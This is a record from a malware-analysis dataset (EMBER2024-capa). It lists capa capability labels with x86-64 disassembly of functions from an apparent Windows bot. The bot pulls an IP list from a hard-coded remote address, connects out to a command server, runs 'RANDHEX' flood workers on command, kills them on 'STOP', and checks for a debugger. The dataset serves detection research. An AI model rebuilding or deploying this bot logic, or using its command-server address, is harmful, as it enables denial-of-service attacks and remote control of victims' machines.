joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ba8
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r8d
mov dword [rbp - 4], 1
mov dword [rbp - 8], 0
jmp 0x401c02
mov eax, dword [rbp - 8]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rdx, rax
mov eax, dword [rbp + 0x20]
mov r8d, 1
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__read]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0xffffffff
jne 0x401bfc
mov eax, 0
jmp 0x401c4b
mov eax, dword [rbp - 4]
add dword [rbp - 8], eax
cmp dword [rbp - 4], 1
jne 0x401c2a
mov eax, dword [rbp + 0x18]
sub eax, 1
cmp dword [rbp - 8], eax
jge 0x401c2a
mov eax, dword [rbp - 8]
cdqe
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xa
jne 0x401bcb
mov eax, dword [rbp - 8]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov byte [rax], 0
cmp dword [rbp - 4], 0
je 0x401c46
mov rax, qword [rbp + 0x10]
jmp 0x401c4b
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x401c51
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1f0
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x30]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
add rsp, 0x1f0
pop rbp
ret

Function at 0x401cc8
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rdi
mov eax, 0x1058
call fcn.00404150
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x200
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.User_Agent
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xfc8], rax
cmp qword [rbp + 0xfc8], 0
jne 0x401d3a
mov eax, 0
jmp 0x401e11
mov rax, qword [rbp + 0xfc8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
lea rdx, str.http:__34.159.237.198_ip.txt
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0xfc0], rax
cmp qword [rbp + 0xfc0], 0
jne 0x401d9c
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
jmp 0x401e11
lea rcx, [rbp + 0xfbc]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xfc0]
mov r9, rcx
mov r8d, 0xfff
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov eax, dword [rbp + 0xfbc]
mov eax, eax
mov byte [rbp + rax - 0x50], 0
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, [0x0040f040]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0xfc0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
add rsp, 0x1058
pop rdi
pop rbp
ret
Function at 0x401ee9
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x200
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x60]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
jne 0x401f57
mov eax, 0xffffffff
jmp 0x4020d5
lea rax, [rbp + 0x60]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x401fba
mov eax, 0xffffffff
jmp 0x4020d5
mov rax, qword [0x00414078]
add rax, 1
mov qword [0x00414078], rax
mov rax, qword [0x00414078]
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x170], rax
cmp qword [rbp + 0x170], 0
jne 0x40201a
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x4020d5
mov qword [rbp + 0x178], 0
jmp 0x402061
mov rax, qword [0x00414070]
mov rdx, qword [rbp + 0x178]
shl rdx, 2
add rax, rdx
mov rdx, qword [rbp + 0x178]
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x170]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
add qword [rbp + 0x178], 1
mov rax, qword [0x00414078]
sub rax, 1
cmp qword [rbp + 0x178], rax
jb 0x402027
mov rax, qword [0x00414078]
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x170]
add rdx, rax
mov eax, dword [rbp - 0x20]
mov dword [rdx], eax
mov rax, qword [0x00414070]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x170]
mov qword [0x00414070], rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x200
pop rbp
ret
Function at 0x402149
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x200], ecx
mov qword [rbp + 0x208], rdx
mov dword [rbp + 0x210], r8d
mov eax, dword [rbp + 0x210]
movsxd rdx, eax
mov rax, qword [rbp + 0x208]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x48], 0x1e
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1ec], 0
jmp 0x4021cd
mov eax, dword [rbp + 0x1ec]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x4021d8
add dword [rbp + 0x1ec], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jb 0x4021ae
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jne 0x402208
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x402208
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1ec]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
lea ecx, [rax + 1]
lea r8, [rbp - 0x40]
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
mov dword [rbp + 0x1d0], eax
cmp dword [rbp + 0x1d0], 0
jg 0x402320
jmp 0x402310
mov dword [rbp - 0x48], 0x1e
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1e4], 0
jmp 0x40228f
mov eax, dword [rbp + 0x1e4]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x40229a
add dword [rbp + 0x1e4], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1e4], eax
jb 0x402270
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1e4], eax
jne 0x4022ca
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x4022ca
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1e4]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
lea ecx, [rax + 1]
lea r8, [rbp - 0x40]
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
mov dword [rbp + 0x1d0], eax
cmp dword [rbp + 0x1d0], 0
jg 0x40231f
add dword [rbp + 0x1e8], 1
nop
cmp dword [rbp + 0x1e8], 9
jle 0x40224f
jmp 0x402320
nop
mov dword [rbp + 0x1d4], 0
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x1d8], rax
jmp 0x40239b
mov eax, dword [0x00410040]
cdqe
lea rdx, [rbp - 0x49]
mov r9d, 0
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cmp eax, 1
je 0x402374
mov rax, qword [rbp + 0x1d8]
mov byte [rax], 0
mov eax, 0xffffffff
jmp 0x4023c2
mov rax, qword [rbp + 0x1d8]
lea rdx, [rax + 1]
mov qword [rbp + 0x1d8], rdx
movzx edx, byte [rbp - 0x49]
mov byte [rax], dl
movzx eax, byte [rbp - 0x49]
cmp al, 0xa
je 0x4023b1
add dword [rbp + 0x1d4], 1
mov eax, dword [rbp + 0x210]
lea edx, [rax - 1]
mov dword [rbp + 0x210], edx
cmp eax, 1
jg 0x40233a
jmp 0x4023b2
nop
mov rax, qword [rbp + 0x1d8]
mov byte [rax], 0
mov eax, dword [rbp + 0x1d4]
add rsp, 0x270
pop rbp
ret
Function at 0x4023cb
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov ecx, 0x800
call sym.malloc
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp - 8]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x20], rax
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov r8, rcx
mov rcx, rax
call sym.vsprintf
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp - 0x10]
add rax, rdx
mov byte [rax], 0xa
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x10]
cdqe
mov rdx, qword [rbp - 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.free
mov eax, dword [rbp - 0x14]
add rsp, 0x40
pop rbp
ret

Function at 0x4024d8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.C:Python27python.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x402501
lea rax, [0x0040c0d4]
jmp 0x40256b
lea rax, str.C:Python38python.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x402522
lea rax, [0x0040c0d4]
jmp 0x40256b
lea rax, str.C:Perl_binperl.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x402543
lea rax, [0x0040c0d4]
jmp 0x40256b
lea rax, str.C:WindowsSystem32_telnetd.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x402564
lea rax, [0x0040c0d4]
jmp 0x40256b
lea rax, str.Unknown_Port
add rsp, 0x20
pop rbp
ret
Function at 0x402571
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov rax, qword [rax]
lea rdx, str.RANDHEX
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x4026ba
cmp dword [rbp + 0x10], 3
jle 0x4027a7
mov rax, qword [rbp + 0x18]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x4027a7
mov rax, qword [rbp + 0x18]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x4027a7
mov rax, qword [rbp + 0x18]
mov rax, qword [rax + 8]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x18]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp - 0x24], eax
mov rax, qword [rbp + 0x18]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp - 0x28], eax
mov rax, qword [rbp - 0x20]
mov edx, 0x2c
mov rcx, rax
call sym.strchr
test rax, rax
je 0x40268e
mov rax, qword [rbp - 0x20]
lea rdx, [0x0040b052]
mov rcx, rax
call sym.strtok
mov qword [rbp - 8], rax
jmp 0x402685
call sym.listFork
test eax, eax
jne 0x40266d
mov ecx, dword [rbp - 0x28]
mov edx, dword [rbp - 0x24]
mov rax, qword [rbp - 8]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
mov ecx, 0
call sym._exit
lea rax, [0x0040b052]
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x402645
jmp 0x4026ba
call sym.listFork
test eax, eax
jne 0x4027aa
mov ecx, dword [rbp - 0x28]
mov edx, dword [rbp - 0x24]
mov rax, qword [rbp - 0x20]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
mov ecx, 0
call sym._exit
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
lea rdx, str.STOP
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x4027ab
mov dword [rbp - 0xc], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp - 0x2c], eax
mov qword [rbp - 0x18], 0
jmp 0x402794
mov rax, qword [0x00414070]
mov rdx, qword [rbp - 0x18]
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x40278f
mov rax, qword [0x00414070]
mov rdx, qword [rbp - 0x18]
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
cmp dword [rbp - 0x2c], eax
je 0x40278f
mov rax, qword [0x00414070]
mov rdx, qword [rbp - 0x18]
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
mov r8d, eax
mov edx, 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x38], rax
cmp qword [rbp - 0x38], 0
je 0x40278f
mov rax, qword [rbp - 0x38]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
test eax, eax
je 0x40277f
add dword [rbp - 0xc], 1
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add qword [rbp - 0x18], 1
mov rax, qword [0x00414078]
cmp qword [rbp - 0x18], rax
jb 0x4026fc
jmp 0x4027ab
nop
jmp 0x4027ab
nop
add rsp, 0x60
pop rbp
ret
Function at 0x4027b1
Capabilities:
Connect socket
Convert ip address from string
Get socket status

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x200], ecx
mov qword [rbp + 0x208], rdx
mov dword [rbp + 0x210], r8d
mov dword [rbp + 0x218], r9d
mov word [rbp + 0x1d0], 2
mov eax, dword [rbp + 0x210]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x1d2], ax
lea rax, [rbp + 0x1d0]
lea rdx, [rax + 4]
mov rax, qword [rbp + 0x208]
mov r8, rdx
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_inet_pton]
call rax
lea rax, [rbp + 0x1d0]
add rax, 8
mov r8d, 8
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x200]
cdqe
lea rdx, [rbp + 0x1d0]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x1e8], eax
cmp dword [rbp + 0x1e8], 0
jns 0x40298e
mov rax, qword [sym.imp.msvcrt.dll__errno]
call rax
mov eax, dword [rax]
cmp eax, 0x70
jne 0x402987
mov eax, dword [rbp + 0x218]
mov dword [rbp - 0x48], eax
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1ec], 0
jmp 0x4028ce
mov eax, dword [rbp + 0x1ec]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x4028d9
add dword [rbp + 0x1ec], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jb 0x4028af
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jne 0x402909
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x402909
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1ec]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
add eax, 1
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
test eax, eax
jle 0x402980
mov dword [rbp - 0x4c], 4
mov eax, dword [rbp + 0x200]
cdqe
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x4c]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0x1007
mov edx, pe_overlay
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_getsockopt]
call rax
mov eax, dword [rbp - 0x50]
test eax, eax
je 0x40298e
mov eax, 0
jmp 0x402993
mov eax, 0
jmp 0x402993
mov eax, 0
jmp 0x402993
mov eax, 1
add rsp, 0x270
pop rbp
ret
Function at 0x40299c
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push rbp
sub rsp, 0x230
lea rbp, [rsp + 0x80]
call sym.getIPAddress
lea rax, [rbp - 0x60]
mov r8d, 0x200
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [0x00410040]
test eax, eax
je 0x4029e9
mov eax, dword [0x00410040]
mov ecx, eax
call sym.close
mov dword [0x00410040], 0
mov eax, dword [0x0040a8f8]
test eax, eax
jne 0x4029ff
mov dword [0x0040a8f8], 0
jmp 0x402a0e
mov eax, dword [0x0040a8f8]
add eax, 1
mov dword [0x0040a8f8], eax
mov eax, dword [0x0040a8f8]
cdqe
lea rdx, [rax*8]
lea rax, [0x0040a8f0]
mov rdx, qword [rdx + rax]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strcpy
mov dword [rbp + 0x1ac], 0x1b46
lea rax, [rbp - 0x60]
mov edx, 0x3a
mov rcx, rax
call sym.strchr
test rax, rax
je 0x402a8c
lea rax, [rbp - 0x60]
mov edx, 0x3a
mov rcx, rax
call sym.strchr
add rax, 1
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x1ac], eax
lea rax, [rbp - 0x60]
mov edx, 0x3a
mov rcx, rax
call sym.strchr
mov byte [rax], 0
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [0x00410040], eax
mov eax, dword [0x00410040]
mov ecx, dword [rbp + 0x1ac]
lea rdx, [rbp - 0x60]
mov r9d, 0x1e
mov r8d, ecx
mov ecx, eax
call sym.connectTimeout
test eax, eax
jne 0x402ad6
mov eax, 1
jmp 0x402adb
mov eax, 0
add rsp, 0x230
pop rbp
ret

Function at 0x402ae4
Capabilities:
Get hostname
Resolve dns

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
lea rax, [rbp - 0x60]
mov edx, 0x50
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostname]
call rax
cmp eax, 0xffffffff
jne 0x402b10
mov eax, 0
jmp 0x402b50
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x402b32
mov eax, 0
jmp 0x402b50
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_inet_ntoa]
call rax
add rsp, 0x90
pop rbp
ret

Function at 0x402b79
Capabilities:
Check for debugger via api

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
call rax
test eax, eax
setne al
movzx eax, al
add rsp, 0x20
pop rbp
ret
Function at 0x403380
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x4033f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x004140f4]
test esi, esi
mov rbx, rcx
jle 0x403520
mov rax, qword [0x004140f8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x40343b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x4034c5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x403420
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x403542
mov rax, qword [0x004140f8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x004140f8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x403527
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4034be
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x4034d0
add dword [0x004140f4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x004140f8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4034be
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x403448
mov rax, qword [0x004140f8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x403ae0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x00414160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00414140]
test rbx, rbx
je 0x403b3c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x403b33
test eax, eax
jne 0x403b33
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x403b18
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x403d50
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x403d68
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x403d70
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x403d80
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x403dcd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x403dc4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x403dcf
add rax, 0x28
cmp rax, r9
jne 0x403db0
xor eax, eax
ret

Function at 0x403dd0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x403e60
mov rdx, qword [0x0040c8c0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x403e4e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x403e4e
cmp word [rax + 0x18], 0x20b
jne 0x403e4e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x403e60
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x403e39
add rbx, 0x28
cmp rbx, rdi
je 0x403e60
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x403e30
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x403e70
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x0040c8c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x403e90
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x403e98
ret
cmp word [r8 + 0x18], 0x20b
jne 0x403e90
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x403eed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403ee4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403e90
add rax, 0x28
cmp rax, r9
jne 0x403ed0
xor eax, eax
ret

Function at 0x403ef0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x0040c8c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x403f0f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x403f18
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x403f0f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x403f30
Capabilities:
Parse pe header

Disassembly:
